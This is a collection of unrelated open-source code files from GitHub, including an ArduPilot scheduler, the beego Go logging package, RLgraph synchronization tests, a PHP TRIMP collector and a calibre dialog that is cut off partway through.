Scheduler::microsleep(uint32_t usec) { struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = usec*1000UL; while (nanosleep(&ts, &ts) == -1 && errno == EINTR) ; } void Scheduler::delay(uint16_t ms) { if (_stopped_clock_usec) { return; } if (!in_main_thread()) { fprintf(stderr, "Scheduler::delay() called outside main thread\n"); return; } uint64_t start = AP_HAL::millis64(); while ((AP_HAL::millis64() - start) < ms) { // this yields the CPU to other apps microsleep(1000); if (_min_delay_cb_ms <= ms) { if (_delay_cb) { _delay_cb(); } } } } void Scheduler::delay_microseconds(uint16_t us) { if (_stopped_clock_usec) { return; } microsleep(us); } void Scheduler::register_delay_callback(AP_HAL::Proc proc, uint16_t min_time_ms) { _delay_cb = proc; _min_delay_cb_ms = min_time_ms; } void Scheduler::register_timer_process(AP_HAL::MemberProc proc) { for (uint8_t i = 0; i < _num_timer_procs; i++) { if (_timer_proc[i] == proc) { return; } } if (_num_timer_procs >= LINUX_SCHEDULER_MAX_TIMER_PROCS) { hal.console->printf("Out of timer processes\n"); return; } _timer_proc[_num_timer_procs] = proc; _num_timer_procs++; } void Scheduler::register_io_process(AP_HAL::MemberProc proc) { for (uint8_t i = 0; i < _num_io_procs; i++) { if (_io_proc[i] == proc) { return; } } if (_num_io_procs < LINUX_SCHEDULER_MAX_IO_PROCS) { _io_proc[_num_io_procs] = proc; _num_io_procs++; } else { hal.console->printf("Out of IO processes\n"); } } void Scheduler::register_timer_failsafe(AP_HAL::Proc failsafe, uint32_t period_us) { _failsafe = failsafe; } void Scheduler::suspend_timer_procs() { if (!_timer_semaphore.take(HAL_SEMAPHORE_BLOCK_FOREVER)) { printf("Failed to take timer semaphore\n"); } } void Scheduler::resume_timer_procs() { _timer_semaphore.give(); } void Scheduler::_timer_task() { int i; if (_in_timer_proc) { return; } _in_timer_proc = true; if (!_timer_semaphore.take(HAL_SEMAPHORE_BLOCK_FOREVER)) { printf("Failed to take timer semaphore in %s\n", __PRETTY_FUNCTION__); return; } // now call the timer based drivers for (i = 0; i < _num_timer_procs; i++) { if (_timer_proc[i]) { _timer_proc[i](); } } #if CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_RASPILOT //SPI UART use SPI if (!((RPIOUARTDriver *)hal.uartC)->isExternal()) { ((RPIOUARTDriver *)hal.uartC)->_timer_tick(); } #endif _timer_semaphore.give(); // and the failsafe, if one is setup if (_failsafe != nullptr) { _failsafe(); } _in_timer_proc = false; #if HAL_LINUX_UARTS_ON_TIMER_THREAD /* some boards require that UART calls happen on the same thread as other calls of the same time. This impacts the QFLIGHT calls where UART output is an RPC call to the DSPs */ _run_uarts(); RCInput::from(hal.rcin)->_timer_tick(); #endif } void Scheduler::_run_io(void) { if (!_io_semaphore.take(HAL_SEMAPHORE_BLOCK_FOREVER)) { return; } // now call the IO based drivers for (int i = 0; i < _num_io_procs; i++) { if (_io_proc[i]) { _io_proc[i](); } } _io_semaphore.give(); } /* run timers for all UARTs */ void Scheduler::_run_uarts() { // process any pending serial bytes UARTDriver::from(hal.uartA)->_timer_tick(); UARTDriver::from(hal.uartB)->_timer_tick(); #if CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_RASPILOT //SPI UART not use SPI if (RPIOUARTDriver::from(hal.uartC)->isExternal()) { RPIOUARTDriver::from(hal.uartC)->_timer_tick(); } #else UARTDriver::from(hal.uartC)->_timer_tick(); #endif UARTDriver::from(hal.uartD)->_timer_tick(); UARTDriver::from(hal.uartE)->_timer_tick(); UARTDriver::from(hal.uartF)->_timer_tick(); } void Scheduler::_rcin_task() { #if !HAL_LINUX_UARTS_ON_TIMER_THREAD RCInput::from(hal.rcin)->_timer_tick(); #endif } void Scheduler::_uart_task() { #if !HAL_LINUX_UARTS_ON_TIMER_THREAD _run_uarts(); #endif } void Scheduler::_tonealarm_task() { // process tone command Util::from(hal.util)->_toneAlarm_timer_tick(); } void Scheduler::_io_task() { // process any pending storage writes Storage::from(hal.storage)->_timer_tick(); // run registered IO processes _run_io(); } bool Scheduler::in_main_thread() { return pthread_equal(pthread_self(), _main_ctx); } void Scheduler::_wait_all_threads() { int r = pthread_barrier_wait(&_initialized_barrier); if (r == PTHREAD_BARRIER_SERIAL_THREAD) { pthread_barrier_destroy(&_initialized_barrier); } } void Scheduler::system_initialized() { if (_initialized) { AP_HAL::panic("PANIC: scheduler::system_initialized called more than once"); } _initialized = true; _wait_all_threads(); } void Scheduler::reboot(bool hold_in_bootloader) { exit(1); } void Scheduler::stop_clock(uint64_t time_usec) { if (time_usec >= _stopped_clock_usec) { _stopped_clock_usec = time_usec; _run_io(); } } bool Scheduler::SchedulerThread::_run() { #if CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_QFLIGHT if (_sched._timer_thread.is_current_thread()) { /* make rpcmem initialization on timer thread */ printf("Initialising rpcmem\n"); rpcmem_init(); } #endif _sched._wait_all_threads(); return PeriodicThread::_run(); } void Scheduler::teardown() { _timer_thread.stop(); _io_thread.stop(); _rcin_thread.stop(); _uart_thread.stop(); _tonealarm_thread.stop(); _timer_thread.join(); _io_thread.join(); _rcin_thread.join(); _uart_thread.join(); _tonealarm_thread.join(); }
{ "pile_set_name": "Github" }
{ "name": "core-util-is", "version": "1.0.1", "description": "The `util.is*` functions introduced in Node v0.12.", "main": "lib/util.js", "repository": { "type": "git", "url": "git://github.com/isaacs/core-util-is" }, "keywords": [ "util", "isBuffer", "isArray", "isNumber", "isString", "isRegExp", "isThis", "isThat", "polyfill" ], "author": { "name": "Isaac Z. Schlueter", "email": "[email protected]", "url": "http://blog.izs.me/" }, "license": "MIT", "bugs": { "url": "https://github.com/isaacs/core-util-is/issues" }, "readme": "# core-util-is\n\nThe `util.is*` functions introduced in Node v0.12.\n", "readmeFilename": "README.md", "homepage": "https://github.com/isaacs/core-util-is", "_id": "[email protected]", "_from": "core-util-is@>=1.0.0 <1.1.0", "scripts": {} }
{ "pile_set_name": "Github" }
Android testing: http://johnpwood.net/2010/02/23/thoughts-on-android-development/ https://sites.google.com/site/androiddevtesting/ Android emulator JUnit tests: http://dtmilano.blogspot.com/2009/07/android-testing-on-android-platform_4442.html Unit and functional testing in Android: http://mihaifonoage.blogspot.com/2010/01/unit-and-functional-testing-in-android.html Traceview: http://developer.android.com/guide/developing/tools/traceview.html
{ "pile_set_name": "Github" }
'use strict'; class Director { constructor() { this.structure = ['Maze','Wall','Door']; facade.log("Director class created"); } Construct (){ for(var all in this.structure){ let builder = new ConcreteBuilder() builder.BuildPart(this.structure[all]); builder.GetResult() } } } class Builder { constructor() { } BuildPart (){ } } class ConcreteBuilder extends Builder { constructor() { super() facade.log("ConcreteBuilder class created"); } BuildPart (rawmaterial){ facade.log("ConcreteBuilder BuildPart()"); var material = rawmaterial this.product = new Product(material) } GetResult (){ facade.log(JSON.stringify(this.product)) return this.product } } class Product { constructor(material) { facade.log("Product class created"); this.data = material } } function init_Builder() { let director = new Director() director.Construct() }
{ "pile_set_name": "Github" }
using Sandbox.Common.ObjectBuilders; using Sandbox.Game.Entities.Cube; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Sandbox.Game.Entities.Blocks { [MyCubeBlockType(typeof(MyObjectBuilder_RealWheel))] public class MyRealWheel : MyMotorRotor { public override void ContactPointCallback(ref MyGridContactInfo value) { //return; var prop = value.Event.ContactProperties; prop.Friction = 0.85f; prop.Restitution = 0.2f; value.EnableParticles = false; value.RubberDeformation = true; } } }
{ "pile_set_name": "Github" }
<?php namespace Runalyze\Calculation\Trimp; use Runalyze\Mathematics\Distribution\EmpiricalDistribution; use Runalyze\Mathematics\Distribution\TimeSeries; /** * Data collector * * This data collector builds the appropriate array for a trimp calculator. * * Example: * <code> * $Collector = new DataCollector($HeartRateArray); * print_r( $Collector->result() ); * </code> * will for example result in * <pre> * array( * [120] => 15, * [121] => 27, * [122] => 5, * ... * ) * </pre> * * @author Hannes Christiansen * @package Runalyze\Calculation\Trimp */ class DataCollector { /** @var array [bpm] */ protected $HeartRate; /** @var array [s] ascending */ protected $Duration; /** @var array */ protected $Histogram; /** * Construct data collector * * Duration array may be empty. In that case equalsized steps of 1s are assumed * * @param array $heartRate [bpm] * @param array $duration ascending time in [s] * * @throws \InvalidArgumentException */ public function __construct(array $heartRate, array $duration = array()) { $this->HeartRate = $heartRate; $this->Duration = $duration; if (empty($heartRate)) { throw new \InvalidArgumentException('Heart rate array must not be empty.'); } if (!empty($duration) && count($heartRate) != count($duration)) { throw new \InvalidArgumentException('Heart rate and duration array must be of equal size.'); } $this->calculate(); } protected function calculate() { $distribution = empty($this->Duration) ? new EmpiricalDistribution($this->HeartRate) : new TimeSeries($this->HeartRate, $this->Duration); $this->Histogram = $distribution->histogram(); } /** * @return array histogram */ public function result() { return $this->Histogram; } }
{ "pile_set_name": "Github" }
// Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package logs provide a general log interface // Usage: // // import "github.com/astaxie/beego/logs" // // log := NewLogger(10000) // log.SetLogger("console", "") // // > the first params stand for how many channel // // Use it like this: // // log.Trace("trace") // log.Info("info") // log.Warn("warning") // log.Debug("debug") // log.Critical("critical") // // more docs http://beego.me/docs/module/logs.md package logs import ( "fmt" "log" "os" "path" "runtime" "strconv" "strings" "sync" "time" ) // RFC5424 log message levels. const ( LevelEmergency = iota LevelAlert LevelCritical LevelError LevelWarning LevelNotice LevelInformational LevelDebug ) // levelLogLogger is defined to implement log.Logger // the real log level will be LevelEmergency const levelLoggerImpl = -1 // Name for adapter with beego official support const ( AdapterConsole = "console" AdapterFile = "file" AdapterMultiFile = "multifile" AdapterMail = "smtp" AdapterConn = "conn" AdapterEs = "es" AdapterJianLiao = "jianliao" AdapterSlack = "slack" AdapterAliLS = "alils" ) // Legacy log level constants to ensure backwards compatibility. const ( LevelInfo = LevelInformational LevelTrace = LevelDebug LevelWarn = LevelWarning ) type newLoggerFunc func() Logger // Logger defines the behavior of a log provider. type Logger interface { Init(config string) error WriteMsg(when time.Time, msg string, level int) error Destroy() Flush() } var adapters = make(map[string]newLoggerFunc) var levelPrefix = [LevelDebug + 1]string{"[M] ", "[A] ", "[C] ", "[E] ", "[W] ", "[N] ", "[I] ", "[D] "} // Register makes a log provide available by the provided name. // If Register is called twice with the same name or if driver is nil, // it panics. func Register(name string, log newLoggerFunc) { if log == nil { panic("logs: Register provide is nil") } if _, dup := adapters[name]; dup { panic("logs: Register called twice for provider " + name) } adapters[name] = log } // BeeLogger is default logger in beego application. // it can contain several providers and log message into all providers. type BeeLogger struct { lock sync.Mutex level int init bool enableFuncCallDepth bool loggerFuncCallDepth int asynchronous bool msgChanLen int64 msgChan chan *logMsg signalChan chan string wg sync.WaitGroup outputs []*nameLogger } const defaultAsyncMsgLen = 1e3 type nameLogger struct { Logger name string } type logMsg struct { level int msg string when time.Time } var logMsgPool *sync.Pool // NewLogger returns a new BeeLogger. // channelLen means the number of messages in chan(used where asynchronous is true). // if the buffering chan is full, logger adapters write to file or other way. func NewLogger(channelLens ...int64) *BeeLogger { bl := new(BeeLogger) bl.level = LevelDebug bl.loggerFuncCallDepth = 2 bl.msgChanLen = append(channelLens, 0)[0] if bl.msgChanLen <= 0 { bl.msgChanLen = defaultAsyncMsgLen } bl.signalChan = make(chan string, 1) bl.setLogger(AdapterConsole) return bl } // Async set the log to asynchronous and start the goroutine func (bl *BeeLogger) Async(msgLen ...int64) *BeeLogger { bl.lock.Lock() defer bl.lock.Unlock() if bl.asynchronous { return bl } bl.asynchronous = true if len(msgLen) > 0 && msgLen[0] > 0 { bl.msgChanLen = msgLen[0] } bl.msgChan = make(chan *logMsg, bl.msgChanLen) logMsgPool = &sync.Pool{ New: func() interface{} { return &logMsg{} }, } bl.wg.Add(1) go bl.startLogger() return bl } // SetLogger provides a given logger adapter into BeeLogger with config string. // config need to be correct JSON as string: {"interval":360}. func (bl *BeeLogger) setLogger(adapterName string, configs ...string) error { config := append(configs, "{}")[0] for _, l := range bl.outputs { if l.name == adapterName { return fmt.Errorf("logs: duplicate adaptername %q (you have set this logger before)", adapterName) } } log, ok := adapters[adapterName] if !ok { return fmt.Errorf("logs: unknown adaptername %q (forgotten Register?)", adapterName) } lg := log() err := lg.Init(config) if err != nil { fmt.Fprintln(os.Stderr, "logs.BeeLogger.SetLogger: "+err.Error()) return err } bl.outputs = append(bl.outputs, &nameLogger{name: adapterName, Logger: lg}) return nil } // SetLogger provides a given logger adapter into BeeLogger with config string. // config need to be correct JSON as string: {"interval":360}. func (bl *BeeLogger) SetLogger(adapterName string, configs ...string) error { bl.lock.Lock() defer bl.lock.Unlock() if !bl.init { bl.outputs = []*nameLogger{} bl.init = true } return bl.setLogger(adapterName, configs...) } // DelLogger remove a logger adapter in BeeLogger. func (bl *BeeLogger) DelLogger(adapterName string) error { bl.lock.Lock() defer bl.lock.Unlock() outputs := []*nameLogger{} for _, lg := range bl.outputs { if lg.name == adapterName { lg.Destroy() } else { outputs = append(outputs, lg) } } if len(outputs) == len(bl.outputs) { return fmt.Errorf("logs: unknown adaptername %q (forgotten Register?)", adapterName) } bl.outputs = outputs return nil } func (bl *BeeLogger) writeToLoggers(when time.Time, msg string, level int) { for _, l := range bl.outputs { err := l.WriteMsg(when, msg, level) if err != nil { fmt.Fprintf(os.Stderr, "unable to WriteMsg to adapter:%v,error:%v\n", l.name, err) } } } func (bl *BeeLogger) Write(p []byte) (n int, err error) { if len(p) == 0 { return 0, nil } // writeMsg will always add a '\n' character if p[len(p)-1] == '\n' { p = p[0 : len(p)-1] } // set levelLoggerImpl to ensure all log message will be write out err = bl.writeMsg(levelLoggerImpl, string(p)) if err == nil { return len(p), err } return 0, err } func (bl *BeeLogger) writeMsg(logLevel int, msg string, v ...interface{}) error { if !bl.init { bl.lock.Lock() bl.setLogger(AdapterConsole) bl.lock.Unlock() } if len(v) > 0 { msg = fmt.Sprintf(msg, v...) } when := time.Now() if bl.enableFuncCallDepth { _, file, line, ok := runtime.Caller(bl.loggerFuncCallDepth) if !ok { file = "???" line = 0 } _, filename := path.Split(file) msg = "[" + filename + ":" + strconv.Itoa(line) + "] " + msg } //set level info in front of filename info if logLevel == levelLoggerImpl { // set to emergency to ensure all log will be print out correctly logLevel = LevelEmergency } else { msg = levelPrefix[logLevel] + msg } if bl.asynchronous { lm := logMsgPool.Get().(*logMsg) lm.level = logLevel lm.msg = msg lm.when = when bl.msgChan <- lm } else { bl.writeToLoggers(when, msg, logLevel) } return nil } // SetLevel Set log message level. // If message level (such as LevelDebug) is higher than logger level (such as LevelWarning), // log providers will not even be sent the message. func (bl *BeeLogger) SetLevel(l int) { bl.level = l } // SetLogFuncCallDepth set log funcCallDepth func (bl *BeeLogger) SetLogFuncCallDepth(d int) { bl.loggerFuncCallDepth = d } // GetLogFuncCallDepth return log funcCallDepth for wrapper func (bl *BeeLogger) GetLogFuncCallDepth() int { return bl.loggerFuncCallDepth } // EnableFuncCallDepth enable log funcCallDepth func (bl *BeeLogger) EnableFuncCallDepth(b bool) { bl.enableFuncCallDepth = b } // start logger chan reading. // when chan is not empty, write logs. func (bl *BeeLogger) startLogger() { gameOver := false for { select { case bm := <-bl.msgChan: bl.writeToLoggers(bm.when, bm.msg, bm.level) logMsgPool.Put(bm) case sg := <-bl.signalChan: // Now should only send "flush" or "close" to bl.signalChan bl.flush() if sg == "close" { for _, l := range bl.outputs { l.Destroy() } bl.outputs = nil gameOver = true } bl.wg.Done() } if gameOver { break } } } // Emergency Log EMERGENCY level message. func (bl *BeeLogger) Emergency(format string, v ...interface{}) { if LevelEmergency > bl.level { return } bl.writeMsg(LevelEmergency, format, v...) } // Alert Log ALERT level message. func (bl *BeeLogger) Alert(format string, v ...interface{}) { if LevelAlert > bl.level { return } bl.writeMsg(LevelAlert, format, v...) } // Critical Log CRITICAL level message. func (bl *BeeLogger) Critical(format string, v ...interface{}) { if LevelCritical > bl.level { return } bl.writeMsg(LevelCritical, format, v...) } // Error Log ERROR level message. func (bl *BeeLogger) Error(format string, v ...interface{}) { if LevelError > bl.level { return } bl.writeMsg(LevelError, format, v...) } // Warning Log WARNING level message. func (bl *BeeLogger) Warning(format string, v ...interface{}) { if LevelWarn > bl.level { return } bl.writeMsg(LevelWarn, format, v...) } // Notice Log NOTICE level message. func (bl *BeeLogger) Notice(format string, v ...interface{}) { if LevelNotice > bl.level { return } bl.writeMsg(LevelNotice, format, v...) } // Informational Log INFORMATIONAL level message. func (bl *BeeLogger) Informational(format string, v ...interface{}) { if LevelInfo > bl.level { return } bl.writeMsg(LevelInfo, format, v...) } // Debug Log DEBUG level message. func (bl *BeeLogger) Debug(format string, v ...interface{}) { if LevelDebug > bl.level { return } bl.writeMsg(LevelDebug, format, v...) } // Warn Log WARN level message. // compatibility alias for Warning() func (bl *BeeLogger) Warn(format string, v ...interface{}) { if LevelWarn > bl.level { return } bl.writeMsg(LevelWarn, format, v...) } // Info Log INFO level message. // compatibility alias for Informational() func (bl *BeeLogger) Info(format string, v ...interface{}) { if LevelInfo > bl.level { return } bl.writeMsg(LevelInfo, format, v...) } // Trace Log TRACE level message. // compatibility alias for Debug() func (bl *BeeLogger) Trace(format string, v ...interface{}) { if LevelDebug > bl.level { return } bl.writeMsg(LevelDebug, format, v...) } // Flush flush all chan data. func (bl *BeeLogger) Flush() { if bl.asynchronous { bl.signalChan <- "flush" bl.wg.Wait() bl.wg.Add(1) return } bl.flush() } // Close close logger, flush all chan data and destroy all adapters in BeeLogger. func (bl *BeeLogger) Close() { if bl.asynchronous { bl.signalChan <- "close" bl.wg.Wait() close(bl.msgChan) } else { bl.flush() for _, l := range bl.outputs { l.Destroy() } bl.outputs = nil } close(bl.signalChan) } // Reset close all outputs, and set bl.outputs to nil func (bl *BeeLogger) Reset() { bl.Flush() for _, l := range bl.outputs { l.Destroy() } bl.outputs = nil } func (bl *BeeLogger) flush() { if bl.asynchronous { for { if len(bl.msgChan) > 0 { bm := <-bl.msgChan bl.writeToLoggers(bm.when, bm.msg, bm.level) logMsgPool.Put(bm) continue } break } } for _, l := range bl.outputs { l.Flush() } } // beeLogger references the used application logger. var beeLogger = NewLogger() // GetBeeLogger returns the default BeeLogger func GetBeeLogger() *BeeLogger { return beeLogger } var beeLoggerMap = struct { sync.RWMutex logs map[string]*log.Logger }{ logs: map[string]*log.Logger{}, } // GetLogger returns the default BeeLogger func GetLogger(prefixes ...string) *log.Logger { prefix := append(prefixes, "")[0] if prefix != "" { prefix = fmt.Sprintf(`[%s] `, strings.ToUpper(prefix)) } beeLoggerMap.RLock() l, ok := beeLoggerMap.logs[prefix] if ok { beeLoggerMap.RUnlock() return l } beeLoggerMap.RUnlock() beeLoggerMap.Lock() defer beeLoggerMap.Unlock() l, ok = beeLoggerMap.logs[prefix] if !ok { l = log.New(beeLogger, prefix, 0) beeLoggerMap.logs[prefix] = l } return l } // Reset will remove all the adapter func Reset() { beeLogger.Reset() } // Async set the beelogger with Async mode and hold msglen messages func Async(msgLen ...int64) *BeeLogger { return beeLogger.Async(msgLen...) } // SetLevel sets the global log level used by the simple logger. func SetLevel(l int) { beeLogger.SetLevel(l) } // EnableFuncCallDepth enable log funcCallDepth func EnableFuncCallDepth(b bool) { beeLogger.enableFuncCallDepth = b } // SetLogFuncCall set the CallDepth, default is 4 func SetLogFuncCall(b bool) { beeLogger.EnableFuncCallDepth(b) beeLogger.SetLogFuncCallDepth(4) } // SetLogFuncCallDepth set log funcCallDepth func SetLogFuncCallDepth(d int) { beeLogger.loggerFuncCallDepth = d } // SetLogger sets a new logger. func SetLogger(adapter string, config ...string) error { return beeLogger.SetLogger(adapter, config...) } // Emergency logs a message at emergency level. func Emergency(f interface{}, v ...interface{}) { beeLogger.Emergency(formatLog(f, v...)) } // Alert logs a message at alert level. func Alert(f interface{}, v ...interface{}) { beeLogger.Alert(formatLog(f, v...)) } // Critical logs a message at critical level. func Critical(f interface{}, v ...interface{}) { beeLogger.Critical(formatLog(f, v...)) } // Error logs a message at error level. func Error(f interface{}, v ...interface{}) { beeLogger.Error(formatLog(f, v...)) } // Warning logs a message at warning level. func Warning(f interface{}, v ...interface{}) { beeLogger.Warn(formatLog(f, v...)) } // Warn compatibility alias for Warning() func Warn(f interface{}, v ...interface{}) { beeLogger.Warn(formatLog(f, v...)) } // Notice logs a message at notice level. func Notice(f interface{}, v ...interface{}) { beeLogger.Notice(formatLog(f, v...)) } // Informational logs a message at info level. func Informational(f interface{}, v ...interface{}) { beeLogger.Info(formatLog(f, v...)) } // Info compatibility alias for Warning() func Info(f interface{}, v ...interface{}) { beeLogger.Info(formatLog(f, v...)) } // Debug logs a message at debug level. func Debug(f interface{}, v ...interface{}) { beeLogger.Debug(formatLog(f, v...)) } // Trace logs a message at trace level. // compatibility alias for Warning() func Trace(f interface{}, v ...interface{}) { beeLogger.Trace(formatLog(f, v...)) } func formatLog(f interface{}, v ...interface{}) string { var msg string switch f.(type) { case string: msg = f.(string) if len(v) == 0 { return msg } if strings.Contains(msg, "%") && !strings.Contains(msg, "%%") { //format string } else { //do not contain format char msg += strings.Repeat(" %v", len(v)) } default: msg = fmt.Sprint(f) if len(v) == 0 { return msg } msg += strings.Repeat(" %v", len(v)) } return fmt.Sprintf(msg, v...) }
{ "pile_set_name": "Github" }
# Copyright 2018/2019 The RLgraph authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== from __future__ import absolute_import from __future__ import division from __future__ import print_function import unittest import numpy as np from rlgraph.components.common.synchronizable import Synchronizable from rlgraph.components.component import Component from rlgraph.spaces import FloatBox from rlgraph.tests import ComponentTest from rlgraph.utils.decorators import rlgraph_api VARIABLE_NAMES = ["variable_to_sync1", "variable_to_sync2"] class MyCompWithVars(Component): """ The Component with variables to test. Synchronizable can be added later as a drop-in via add_component. """ def __init__(self, initializer1=0.0, initializer2=1.0, synchronizable=False, **kwargs): super(MyCompWithVars, self).__init__(**kwargs) self.space = FloatBox(shape=(4, 5)) self.initializer1 = initializer1 self.initializer2 = initializer2 self.dummy_var_1 = None self.dummy_var_2 = None if synchronizable is True: self.add_components(Synchronizable(), expose_apis="sync") def create_variables(self, input_spaces, action_space=None): # create some dummy var to sync from/to. self.dummy_var_1 = self.get_variable(name=VARIABLE_NAMES[0], from_space=self.space, initializer=self.initializer1, trainable=True) self.dummy_var_2 = self.get_variable(name=VARIABLE_NAMES[1], from_space=self.space, initializer=self.initializer2, trainable=True) class TestSynchronizableComponent(unittest.TestCase): def test_variables_api_method(self): # Proof that all Components can push out their variable values. component_to_test = MyCompWithVars(synchronizable=False) test = ComponentTest(component=component_to_test) # Test pulling the variable values from the sync_out socket. expected1 = np.zeros(shape=component_to_test.space.shape) expected2 = np.ones(shape=component_to_test.space.shape) expected = dict({"variable-to-sync1": expected1, "variable-to-sync2": expected2}) test.test("variables", expected_outputs=expected) def test_sync_functionality(self): # Two Components, one with Synchronizable dropped in: # A: Can only push out values. # B: To be synced by A's values. sync_from = MyCompWithVars(scope="sync-from") sync_to = MyCompWithVars(initializer1=8.0, initializer2=7.0, scope="sync-to", synchronizable=True) # Create a dummy test component that contains our two Synchronizables. container = Component(name="container") container.add_components(sync_from, sync_to) @rlgraph_api(component=container) def execute_sync(self): values_ = sync_from.variables() return sync_to.sync(values_) test = ComponentTest(component=container) # Test syncing the variable from->to and check them before and after the sync. # Before the sync. test.variable_test(sync_to.get_variables(VARIABLE_NAMES), { "sync-to/"+VARIABLE_NAMES[0]: np.full(shape=sync_from.space.shape, fill_value=8.0), "sync-to/"+VARIABLE_NAMES[1]: np.full(shape=sync_from.space.shape, fill_value=7.0) }) # Now sync and re-check. test.test("execute_sync", expected_outputs=None) # After the sync. test.variable_test(sync_to.get_variables(VARIABLE_NAMES), { "sync-to/"+VARIABLE_NAMES[0]: np.zeros(shape=sync_from.space.shape), "sync-to/"+VARIABLE_NAMES[1]: np.ones(shape=sync_from.space.shape) }) def test_sync_between_2_identical_comps_that_have_vars_only_in_their_sub_comps(self): """ Similar to the Policy scenario, where the Policy Component owns a NeuralNetwork (which has vars) and has to be synced with other Policies. """ # Create 2x: A custom Component (with vars) that holds another Component (with vars). # Then sync between them. comp1 = MyCompWithVars(scope="A") comp1.add_components(MyCompWithVars(scope="sub-of-A-with-vars")) comp2_writable = MyCompWithVars(scope="B", initializer1=3.0, initializer2=4.2, synchronizable=True) comp2_writable.add_components(MyCompWithVars(scope="sub-of-B-with-vars", initializer1=5.0, initializer2=6.2)) container = Component(comp1, comp2_writable, scope="container") @rlgraph_api(component=container) def execute_sync(self): values_ = comp1.variables() return comp2_writable.sync(values_) test = ComponentTest(component=container) # Before the sync. test.variable_test(comp2_writable.get_variables([ "container/B/variable_to_sync1", "container/B/variable_to_sync2", "container/B/sub-of-B-with-vars/variable_to_sync1", "container/B/sub-of-B-with-vars/variable_to_sync2" ]), { "container/B/variable_to_sync1": np.full(shape=comp1.space.shape, fill_value=3.0, dtype=np.float32), "container/B/variable_to_sync2": np.full(shape=comp1.space.shape, fill_value=4.2, dtype=np.float32), "container/B/sub-of-B-with-vars/variable_to_sync1": np.full(shape=comp1.space.shape, fill_value=5.0, dtype=np.float32), "container/B/sub-of-B-with-vars/variable_to_sync2": np.full(shape=comp1.space.shape, fill_value=6.2, dtype=np.float32) }) # Now sync and re-check. test.test(("execute_sync", None), expected_outputs=None) # After the sync. test.variable_test(comp2_writable.get_variables([ "container/B/variable_to_sync1", "container/B/variable_to_sync2", "container/B/sub-of-B-with-vars/variable_to_sync1", "container/B/sub-of-B-with-vars/variable_to_sync2" ]), { "container/B/variable_to_sync1": np.zeros(shape=comp1.space.shape, dtype=np.float32), "container/B/variable_to_sync2": np.ones(shape=comp1.space.shape, dtype=np.float32), "container/B/sub-of-B-with-vars/variable_to_sync1": np.zeros(shape=comp1.space.shape, dtype=np.float32), "container/B/sub-of-B-with-vars/variable_to_sync2": np.ones(shape=comp1.space.shape, dtype=np.float32) })
{ "pile_set_name": "Github" }
// Copyright 2019 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package unix import "unsafe" // FcntlInt performs a fcntl syscall on fd with the provided command and argument. func FcntlInt(fd uintptr, cmd, arg int) (int, error) { return fcntl(int(fd), cmd, arg) } // FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command. func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error { _, err := fcntl(int(fd), cmd, int(uintptr(unsafe.Pointer(lk)))) return err }
{ "pile_set_name": "Github" }
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/securityhub/SecurityHub_EXPORTS.h> namespace Aws { template<typename RESULT_TYPE> class AmazonWebServiceResult; namespace Utils { namespace Json { class JsonValue; } // namespace Json } // namespace Utils namespace SecurityHub { namespace Model { class AWS_SECURITYHUB_API EnableSecurityHubResult { public: EnableSecurityHubResult(); EnableSecurityHubResult(const Aws::AmazonWebServiceResult<Aws::Utils::Json::JsonValue>& result); EnableSecurityHubResult& operator=(const Aws::AmazonWebServiceResult<Aws::Utils::Json::JsonValue>& result); }; } // namespace Model } // namespace SecurityHub } // namespace Aws
{ "pile_set_name": "Github" }
__license__ = 'GPL v3' __copyright__ = '2008, Kovid Goyal <kovid at kovidgoyal.net>' from PyQt5.Qt import ( Qt, QDialog, QIcon, QListWidgetItem) from calibre.gui2.dialogs.tag_categories_ui import Ui_TagCategories from calibre.gui2.dialogs.confirm_delete import confirm from calibre.gui2 import error_dialog from calibre.constants import islinux from calibre.utils.icu import sort_key, strcmp, primary_contains from polyglot.builtins import iteritems, unicode_type class Item(object): def __init__(self, name, label, index, icon, exists): self.name = name self.label = label self.index = index self.icon = icon self.exists = exists def __str__(self): return 'name=%s, label=%s, index=%s, exists=%s'%(self.name, self.label, self.index, self.exists) class TagCategories(QDialog, Ui_TagCategories): ''' The structure of user_categories stored in preferences is {cat_name: [ [name, category, v], [], []}, cat_name [ [name, cat, v] ...} where name is the item name, category is where it came from (series, etc), and v is a scratch area that this editor uses to keep track of categories. If you add a category, it is permissible to set v to zero. If you delete a category, ensure that both the name and the category match. ''' category_labels_orig = ['', 'authors', 'series', 'publisher', 'tags', 'languages'] def __init__(self, window, db, on_category=None, book_ids=None): QDialog.__init__(self, window) Ui_TagCategories.__init__(self) self.setupUi(self) self.blank.setText('\xa0') # I can't figure out how to get these into the .ui file self.gridLayout_2.setColumnMinimumWidth(0, 50) self.gridLayout_2.setColumnStretch(0, 1) self.gridLayout_2.setColumnMinimumWidth(2, 50) self.gridLayout_2.setColumnStretch(2, 1) # Remove help icon on title bar icon = self.windowIcon() self.setWindowFlags(self.windowFlags()&(~Qt.WindowContextHelpButtonHint)) self.setWindowIcon(icon) self.db = db self.applied_items = [] self.book_ids = book_ids if self.book_ids is None: self.apply_vl_checkbox.setEnabled(False) cc_icon = QIcon(I('column.png')) self.category_labels = self.category_labels_orig[:] self.category_icons = [None, QIcon(I('user_profile.png')), QIcon(I('series.png')), 